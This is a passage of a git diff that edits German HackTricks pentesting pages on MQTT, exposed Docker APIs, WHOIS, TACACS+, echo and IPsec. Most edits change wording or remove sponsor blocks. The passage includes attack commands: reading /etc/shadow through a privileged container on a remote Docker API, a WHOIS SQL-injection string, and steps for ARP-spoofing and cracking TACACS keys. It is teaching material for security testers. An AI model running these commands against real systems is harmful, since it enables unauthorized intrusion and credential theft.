sind. Die Hauptziele von MQTT umfassen die Minimierung der Nutzung der Netzwerkbandbreite und die Reduzierung der Anforderungen an die Ressourcen der Geräte. Darüber hinaus zielt es darauf ab, eine zuverlässige Kommunikation aufrechtzuerhalten und ein gewisses Maß an Zustellgarantie zu bieten. Diese Ziele machen MQTT besonders geeignet für das aufstrebende Feld der **Machine-to-Machine (M2M)-Kommunikation** und des **Internet der Dinge (IoT)**, wo es entscheidend ist, eine Vielzahl von Geräten effizient zu verbinden. Darüber hinaus ist MQTT äußerst vorteilhaft für mobile Anwendungen, bei denen die Einsparung von Bandbreite und Akkulaufzeit von entscheidender Bedeutung ist. **Standardport:** 1883 ``` @@ -57,7 +44,7 @@ Zum Beispiel, wenn der Broker die Verbindung aufgrund ungültiger Anmeldeinforma **Die Authentifizierung ist völlig optional** und selbst wenn eine Authentifizierung durchgeführt wird, **wird standardmäßig keine Verschlüsselung verwendet** (Anmeldeinformationen werden im Klartext gesendet). MITM-Angriffe können weiterhin ausgeführt werden, um Passwörter zu stehlen. -Um eine Verbindung zu einem MQTT-Dienst herzustellen, können Sie verwenden: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) und sich selbst zu allen Themen anmelden, indem Sie: +Um eine Verbindung zu einem MQTT-Dienst herzustellen, können Sie verwenden: [https://github.com/bapowell/python-mqtt-client-shell](https://github.com/bapowell/python-mqtt-client-shell) und sich für alle Themen anmelden, indem Sie: ``` > connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883) > subscribe "#" 1 @@ -106,8 +93,8 @@ von hier: [https://morphuslabs.com/hacking-the-iot-with-mqtt-8edaf0d07b9b](https Das Publish/Subscribe-Modell besteht aus: -* **Publisher**: veröffentlicht eine Nachricht an ein (oder mehrere) Thema(en) im Broker. -* **Subscriber**: abonniert ein (oder mehrere) Thema(en) im Broker und erhält alle Nachrichten, die vom Publisher gesendet werden. +* **Publisher**: veröffentlicht eine Nachricht an ein (oder mehrere) Themen im Broker. +* **Subscriber**: abonniert ein (oder mehrere) Themen im Broker und erhält alle Nachrichten, die vom Publisher gesendet werden. * **Broker**: leitet alle Nachrichten von den Publishern zu den Subscribern weiter. * **Thema**: besteht aus einem oder mehreren Ebenen, die durch einen Schrägstrich (z. B. /smartshouse/livingroom/temperature) getrennt sind. @@ -139,17 +126,6 @@ Jedes MQTT-Paket enthält einen festen Header (Abbildung 02). Abbildung 02: Fest * `port:1883 MQTT` -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/2375-pentesting-docker.md b/network-services-pentesting/2375-pentesting-docker.md index b7179b719..f418ce84e 100644 --- a/network-services-pentesting/2375-pentesting-docker.md +++ b/network-services-pentesting/2375-pentesting-docker.md @@ -1,45 +1,32 @@ # 2375, 2376 Pentesting Docker {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ### Docker Grundlagen #### Was ist -Docker ist die **führende Plattform** in der **Containerisierungsindustrie**, die **kontinuierliche Innovation** vorantreibt. Es erleichtert die mühelose Erstellung und Verteilung von Anwendungen, die von **traditionell bis futuristisch** reichen, und gewährleistet deren **sichere Bereitstellung** in verschiedenen Umgebungen. +Docker ist die **führende Plattform** in der **Containerisierungsbranche**, die **kontinuierliche Innovation** vorantreibt. Es erleichtert die mühelose Erstellung und Verteilung von Anwendungen, die von **traditionell bis futuristisch** reichen, und gewährleistet deren **sichere Bereitstellung** in verschiedenen Umgebungen. #### Grundlegende Docker-Architektur -* [**containerd**](http://containerd.io): Dies ist eine **Kernlaufzeit** für Container, die mit der umfassenden **Verwaltung des Lebenszyklus eines Containers** betraut ist. Dies umfasst die Handhabung von **Bildübertragung und -speicherung** sowie die Überwachung der **Ausführung, Überwachung und Vernetzung** von Containern. **Detailliertere Einblicke** in containerd werden **weiter erkundet**. +* [**containerd**](http://containerd.io): Dies ist eine **Kernlaufzeit** für Container, die mit der umfassenden **Verwaltung des Lebenszyklus eines Containers** betraut ist. Dies umfasst die Handhabung von **Bildübertragung und -speicherung** sowie die Überwachung der **Ausführung, Überwachung und Vernetzung** von Containern. **Detailliertere Einblicke** in containerd werden **weiter untersucht**. * Der **container-shim** spielt eine entscheidende Rolle als **Vermittler** bei der Handhabung von **headless containers** und übernimmt nahtlos von **runc**, nachdem die Container initialisiert wurden. -* [**runc**](http://runc.io): Geschätzt für seine **leichte und universelle Containerlaufzeit**-Fähigkeiten, ist runc mit dem **OCI-Standard** konform. Es wird von containerd verwendet, um **Container zu starten und zu verwalten** gemäß den **OCI-Richtlinien**, nachdem es sich aus dem ursprünglichen **libcontainer** entwickelt hat. +* [**runc**](http://runc.io): Geschätzt für seine **leichte und universelle Containerlaufzeit**-Fähigkeiten, ist runc mit dem **OCI-Standard** in Einklang. Es wird von containerd verwendet, um **Container zu starten und zu verwalten** gemäß den **OCI-Richtlinien**, nachdem es sich aus dem ursprünglichen **libcontainer** entwickelt hat. * [**grpc**](http://www.grpc.io) ist entscheidend für die **Erleichterung der Kommunikation** zwischen containerd und der **docker-engine**, um eine **effiziente Interaktion** zu gewährleisten. * Die [**OCI**](https://www.opencontainers.org) ist entscheidend für die Aufrechterhaltung der **OCI-Spezifikationen** für Laufzeiten und Bilder, wobei die neuesten Docker-Versionen **konform mit den OCI-Bild- und Laufzeitstandards** sind. @@ -68,11 +55,11 @@ docker system prune -a ``` #### Containerd -**Containerd** wurde speziell entwickelt, um die Bedürfnisse von Containerplattformen wie **Docker und Kubernetes** zu erfüllen. Es zielt darauf ab, die **Ausführung von Containern** über verschiedene Betriebssysteme hinweg zu vereinfachen, einschließlich Linux, Windows, Solaris und mehr, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd ist es, nur die wesentlichen Funktionen einzuschließen, die von seinen Benutzern benötigt werden, und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen. +**Containerd** wurde speziell entwickelt, um die Bedürfnisse von Container-Plattformen wie **Docker und Kubernetes** zu bedienen. Es zielt darauf ab, die **Ausführung von Containern** über verschiedene Betriebssysteme hinweg zu vereinfachen, einschließlich Linux, Windows, Solaris und mehr, indem es betriebssystemspezifische Funktionen und Systemaufrufe abstrahiert. Das Ziel von Containerd ist es, nur die wesentlichen Funktionen einzuschließen, die von seinen Benutzern benötigt werden, und unnötige Komponenten zu vermeiden. Es wird jedoch anerkannt, dass es eine Herausforderung ist, dieses Ziel vollständig zu erreichen. -Eine wichtige Designentscheidung ist, dass **Containerd kein Networking** behandelt. Networking wird als ein kritisches Element in verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Dienstentdeckung, die von einer Plattform zur anderen erheblich variieren. Daher überlässt Containerd die Netzwerkaspekte den Plattformen, die es unterstützt. +Eine wichtige Designentscheidung ist, dass **Containerd das Networking nicht behandelt**. Networking wird als ein kritisches Element in verteilten Systemen betrachtet, mit Komplexitäten wie Software Defined Networking (SDN) und Service Discovery, die von einer Plattform zur anderen erheblich variieren. Daher überlässt Containerd die Netzwerkaspekte den Plattformen, die es unterstützt. -Während **Docker Containerd nutzt**, um Container auszuführen, ist es wichtig zu beachten, dass Containerd nur eine Teilmenge der Funktionen von Docker unterstützt. Insbesondere fehlen Containerd die Netzwerkmanagementfähigkeiten, die in Docker vorhanden sind, und es unterstützt nicht die direkte Erstellung von Docker-Schwärmen. Diese Unterscheidung hebt die fokussierte Rolle von Containerd als Container-Laufzeitumgebung hervor, die spezialisiertere Funktionen an die Plattformen delegiert, mit denen es integriert ist. +Während **Docker Containerd nutzt**, um Container auszuführen, ist es wichtig zu beachten, dass Containerd nur eine Teilmenge der Funktionen von Docker unterstützt. Insbesondere fehlen Containerd die Netzwerkmanagement-Funktionen, die in Docker vorhanden sind, und es unterstützt nicht die direkte Erstellung von Docker-Swarms. Diese Unterscheidung hebt die fokussierte Rolle von Containerd als Container-Laufzeitumgebung hervor, die spezialisiertere Funktionen an die Plattformen delegiert, mit denen es integriert ist. ```bash #Containerd CLI ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image @@ -98,7 +85,7 @@ Podman ist so konzipiert, dass es mit der Docker-API kompatibel ist, was die Ver * **Architektur**: Im Gegensatz zum Client-Server-Modell von Docker mit einem Hintergrund-Daemon arbeitet Podman ohne Daemon. Dieses Design bedeutet, dass Container mit den Rechten des Benutzers ausgeführt werden, der sie startet, was die Sicherheit erhöht, da der Bedarf an Root-Zugriff entfällt. * **Systemd-Integration**: Podman integriert sich mit **systemd**, um Container zu verwalten, was die Containerverwaltung über systemd-Einheiten ermöglicht. Dies steht im Gegensatz zur Verwendung von systemd durch Docker, das hauptsächlich zur Verwaltung des Docker-Daemon-Prozesses dient. -* **Rootlose Container**: Ein entscheidendes Merkmal von Podman ist die Fähigkeit, Container unter den Rechten des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Containerverletzungen, indem sichergestellt wird, dass Angreifer nur die Rechte des kompromittierten Benutzers und nicht den Root-Zugriff erlangen. +* **Rootlose Container**: Ein entscheidendes Merkmal von Podman ist die Fähigkeit, Container unter den Rechten des initiierenden Benutzers auszuführen. Dieser Ansatz minimiert die Risiken im Zusammenhang mit Containerverletzungen, indem sichergestellt wird, dass Angreifer nur die Rechte des kompromittierten Benutzers erlangen, nicht den Root-Zugriff. Der Ansatz von Podman bietet eine sichere und flexible Alternative zu Docker, die das Management von Benutzerprivilegien und die Kompatibilität mit bestehenden Docker-Workflows betont. @@ -161,7 +148,7 @@ docker-init: Version: 0.18.0 GitCommit: fec3683 ``` -Wenn Sie **die entfernte Docker-API mit dem `docker`-Befehl kontaktieren können**, können Sie **jede der** **docker** [**Befehle, die zuvor** kommentiert wurden](2375-pentesting-docker.md#basic-commands) ausführen, um mit dem Dienst zu interagieren. +Wenn Sie **die entfernte Docker-API mit dem `docker`-Befehl kontaktieren können**, können Sie **jede der** **Docker** [**Befehle, die zuvor** kommentiert wurden](2375-pentesting-docker.md#basic-commands) ausführen, um mit dem Dienst zu interagieren. {% hint style="info" %} Sie können `export DOCKER_HOST="tcp://localhost:2375"` verwenden und **vermeiden**, den `-H`-Parameter mit dem Docker-Befehl zu verwenden. @@ -218,7 +205,7 @@ Auf der folgenden Seite finden Sie Möglichkeiten, um **aus einem Docker-Contain [docker-security](../linux-hardening/privilege-escalation/docker-security/) {% endcontent-ref %} -Durch den Missbrauch davon ist es möglich, aus einem Container zu entkommen. Sie könnten einen schwachen Container auf der Remote-Maschine ausführen, aus ihm entkommen und die Maschine kompromittieren: +Durch den Missbrauch davon ist es möglich, aus einem Container zu entkommen. Sie könnten einen schwachen Container auf der Remote-Maschine ausführen, von ihm entkommen und die Maschine kompromittieren: ```bash docker -H :2375 run --rm -it --privileged --net=host -v /:/mnt alpine cat /mnt/etc/shadow @@ -234,7 +221,7 @@ Wenn Sie sich auf einem Host befinden, der Docker verwendet, können Sie [**dies docker ps [| grep ] docker inspect ``` -Überprüfen Sie **env** (Abschnitt der Umgebungsvariablen) auf Geheimnisse, und Sie könnten finden: +Überprüfen Sie **env** (Abschnitt der Umgebungsvariablen) auf Geheimnisse, und Sie könnten Folgendes finden: * Passwörter. * IPs. @@ -246,9 +233,9 @@ Wenn Sie eine Datei extrahieren möchten: ```bash docker cp :/etc/ ``` -### Sichern Sie Ihr Docker +### Securing your Docker -#### Sichern der Docker-Installation und -Nutzung +#### Securing Docker installation and usage * Sie können das Tool [https://github.com/docker/docker-bench-security](https://github.com/docker/docker-bench-security) verwenden, um Ihre aktuelle Docker-Installation zu überprüfen. * `./docker-bench-security.sh` @@ -259,13 +246,13 @@ docker cp :/etc/ * `docker run --rm -it --pid host r.j3ss.co/amicontained` * `docker run --rm -it --security-opt "apparmor=unconfined" r.j3ss.co/amicontained` -#### Sichern von Docker-Images +#### Securing Docker Images * Sie können ein Docker-Image von [https://github.com/quay/clair](https://github.com/quay/clair) verwenden, um Ihre anderen Docker-Images zu scannen und Schwachstellen zu finden. * `docker run --rm -v /root/clair_config/:/config -p 6060-6061:6060-6061 -d clair -config="/config/config.yaml"` * `clair-scanner -c http://172.17.0.3:6060 --ip 172.17.0.1 ubuntu-image` -#### Sichern von Dockerfiles +#### Securing Dockerfiles * Sie können das Tool [https://github.com/buddy-works/dockerfile-linter](https://github.com/buddy-works/dockerfile-linter) verwenden, um **Ihr Dockerfile zu inspizieren** und alle Arten von Fehlkonfigurationen zu finden. Jede Fehlkonfiguration erhält eine ID, die Sie hier finden können [https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md](https://github.com/buddy-works/dockerfile-linter/blob/master/Rules.md), um jede von ihnen zu beheben. * `dockerfilelinter -f Dockerfile` @@ -287,10 +274,10 @@ docker cp :/etc/ ![](<../.gitbook/assets/image (501).png>) -#### Protokollierung verdächtiger Aktivitäten +#### Logging Suspicious activity * Sie können das Tool [https://github.com/falcosecurity/falco](https://github.com/falcosecurity/falco) verwenden, um **verdächtiges Verhalten in laufenden Containern zu erkennen**. -* Beachten Sie im folgenden Abschnitt, wie **Falco ein Kernel-Modul kompiliert und einfügt**. Danach lädt es die Regeln und **beginnt mit der Protokollierung verdächtiger Aktivitäten**. In diesem Fall hat es 2 privilegierte Container erkannt, die gestartet wurden, einen davon mit einer sensiblen Einbindung, und nach einigen Sekunden erkannte es, wie eine Shell innerhalb eines der Container geöffnet wurde. +* Beachten Sie im folgenden Abschnitt, wie **Falco ein Kernel-Modul kompiliert und einfügt**. Danach lädt es die Regeln und **beginnt, verdächtige Aktivitäten zu protokollieren**. In diesem Fall wurden 2 privilegierte Container gestartet, einer davon mit einer sensiblen Einbindung, und nach einigen Sekunden wurde erkannt, wie eine Shell innerhalb eines der Container geöffnet wurde. ```bash docker run -it --privileged -v /var/run/docker.sock:/host/var/run/docker.sock -v /dev:/host/dev -v /proc:/host/proc:ro -v /boot:/host/boot:ro -v /lib/modules:/host/lib/modules:ro -v /usr:/host/usr:ro falco * Setting up /usr/src links from host @@ -340,17 +327,6 @@ Sie können auditd verwenden, um Docker zu überwachen. * [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html) * [https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc](https://stackoverflow.com/questions/41645665/how-containerd-compares-to-runc) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/network-services-pentesting/43-pentesting-whois.md b/network-services-pentesting/43-pentesting-whois.md index 85465deb8..9affdbf93 100644 --- a/network-services-pentesting/43-pentesting-whois.md +++ b/network-services-pentesting/43-pentesting-whois.md @@ -15,14 +15,6 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Grundlegende Informationen Das **WHOIS**-Protokoll dient als Standardmethode zur **Abfrage der Registranten oder Inhaber verschiedener Internetressourcen** über spezifische Datenbanken. Diese Ressourcen umfassen Domainnamen, IP-Adressblöcke und autonome Systeme, unter anderem. Darüber hinaus findet das Protokoll Anwendung beim Zugriff auf ein breiteres Spektrum an Informationen. @@ -39,22 +31,16 @@ Holen Sie sich alle Informationen, die ein Whois-Dienst über eine Domain hat: whois -h -p "domain.tld" echo "domain.ltd" | nc -vn ``` -Notice, dass manchmal bei der Anfrage nach Informationen von einem WHOIS-Dienst die verwendete Datenbank in der Antwort erscheint: +Beachten Sie, dass manchmal bei der Anfrage nach Informationen von einem WHOIS-Dienst die verwendete Datenbank in der Antwort erscheint: ![](<../.gitbook/assets/image (301).png>) -Außerdem muss der WHOIS-Dienst immer eine **Datenbank** verwenden, um die Informationen zu speichern und abzurufen. Daher könnte eine mögliche **SQLInjection** vorhanden sein, wenn **Abfragen** an die Datenbank mit Informationen, die vom Benutzer bereitgestellt werden, durchgeführt werden. Zum Beispiel durch: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` könntest du in der Lage sein, **alle** **Informationen** abzurufen, die in der Datenbank gespeichert sind. +Außerdem muss der WHOIS-Dienst immer eine **Datenbank** verwenden, um die Informationen zu speichern und abzurufen. Daher könnte eine mögliche **SQLInjection** vorhanden sein, wenn die **Datenbank** mit Informationen, die vom Benutzer bereitgestellt werden, **abgefragt** wird. Zum Beispiel durch Ausführen von: `whois -h 10.10.10.155 -p 43 "a') or 1=1#"` könnten Sie in der Lage sein, **alle** **Informationen** abzurufen, die in der Datenbank gespeichert sind. ## Shodan * `port:43 whois` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - ## HackTricks Automatische Befehle ``` Protocol_Name: WHOIS #Protocol Abbreviation if there is one. diff --git a/network-services-pentesting/49-pentesting-tacacs+.md b/network-services-pentesting/49-pentesting-tacacs+.md index efcf14baa..c197fdaad 100644 --- a/network-services-pentesting/49-pentesting-tacacs+.md +++ b/network-services-pentesting/49-pentesting-tacacs+.md @@ -15,17 +15,9 @@ Learn & practice GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Grundinformationen -Das **Terminal Access Controller Access Control System (TACACS)**-Protokoll wird verwendet, um Benutzer, die versuchen, auf Router oder Network Access Servers (NAS) zuzugreifen, zentral zu validieren. Seine aktualisierte Version, **TACACS+**, trennt die Dienste in Authentifizierung, Autorisierung und Abrechnung (AAA). +Das **Terminal Access Controller Access Control System (TACACS)** Protokoll wird verwendet, um Benutzer, die versuchen, auf Router oder Network Access Servers (NAS) zuzugreifen, zentral zu validieren. Seine aktualisierte Version, **TACACS+**, trennt die Dienste in Authentifizierung, Autorisierung und Abrechnung (AAA). ``` PORT STATE SERVICE 49/tcp open tacacs @@ -46,34 +38,29 @@ Ein **ARP-Spoofing-Angriff kann genutzt werden, um einen Man-in-the-Middle (MitM ``` sudo loki_gtk.py ``` -If the key is successfully **bruteforced** (**usually in MD5 encrypted format)**, **we can access the equipment and decrypt the TACACS-encrypted traffic.** +Wenn der Schlüssel erfolgreich **bruteforced** (**normalerweise im MD5-verschlüsselten Format**), **können wir auf die Geräte zugreifen und den TACACS-verschlüsselten Datenverkehr entschlüsseln.** -### Decrypting Traffic -Sobald der Schlüssel erfolgreich geknackt wurde, besteht der nächste Schritt darin, den **TACACS-verschlüsselten Verkehr zu entschlüsseln**. Wireshark kann verschlüsselten TACACS-Verkehr verarbeiten, wenn der Schlüssel bereitgestellt wird. Durch die Analyse des entschlüsselten Verkehrs können Informationen wie das **verwendete Banner und der Benutzername des Admin-Benutzers** gewonnen werden. +### Entschlüsselung des Datenverkehrs +Sobald der Schlüssel erfolgreich geknackt wurde, besteht der nächste Schritt darin, den **TACACS-verschlüsselten Datenverkehr zu entschlüsseln**. Wireshark kann verschlüsselten TACACS-Datenverkehr verarbeiten, wenn der Schlüssel bereitgestellt wird. Durch die Analyse des entschlüsselten Datenverkehrs können Informationen wie das **verwendete Banner und der Benutzername des Admin**-Benutzers erhalten werden. -Durch den Zugriff auf das Kontrollpanel der Netzwerkausrüstung mit den erhaltenen Anmeldeinformationen kann der Angreifer die Kontrolle über das Netzwerk ausüben. Es ist wichtig zu beachten, dass diese Aktionen ausschließlich zu Bildungszwecken durchgeführt werden und ohne entsprechende Genehmigung nicht verwendet werden sollten. +Durch den Zugriff auf das Kontrollpanel der Netzwerkausrüstung mit den erhaltenen Anmeldeinformationen kann der Angreifer die Kontrolle über das Netzwerk ausüben. Es ist wichtig zu beachten, dass diese Aktionen ausschließlich zu Bildungszwecken dienen und nicht ohne entsprechende Genehmigung verwendet werden sollten. -## References +## Referenzen * [https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9](https://medium.com/@in9uz/cisco-nightmare-pentesting-cisco-networks-like-a-devil-f4032eb437b9) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Unterstützen Sie HackTricks -* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! -* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/network-services-pentesting/7-tcp-udp-pentesting-echo.md b/network-services-pentesting/7-tcp-udp-pentesting-echo.md index 948f456a0..e1f31d75d 100644 --- a/network-services-pentesting/7-tcp-udp-pentesting-echo.md +++ b/network-services-pentesting/7-tcp-udp-pentesting-echo.md @@ -13,14 +13,6 @@ Lernen & üben Sie GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - # Grundinformationen @@ -46,28 +38,22 @@ Hello echo #This is the response ## References -[Wikipedia echo](http://de.wikipedia.org/wiki/ECHO\_protocol) +[Wikipedia echo](http://en.wikipedia.org/wiki/ECHO\_protocol) [CA-1996-01 UDP Port Denial-of-Service Attack](http://www.cert.org/advisories/CA-1996-01.html) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Support HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/network-services-pentesting/ipsec-ike-vpn-pentesting.md b/network-services-pentesting/ipsec-ike-vpn-pentesting.md index ee40471f2..14abbb054 100644 --- a/network-services-pentesting/ipsec-ike-vpn-pentesting.md +++ b/network-services-pentesting/ipsec-ike-vpn-pentesting.md @@ -1,38 +1,30 @@ # 500/udp - Pentesting IPsec/IKE VPN {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} {% endhint %} -**Try Hard Security Group** - -
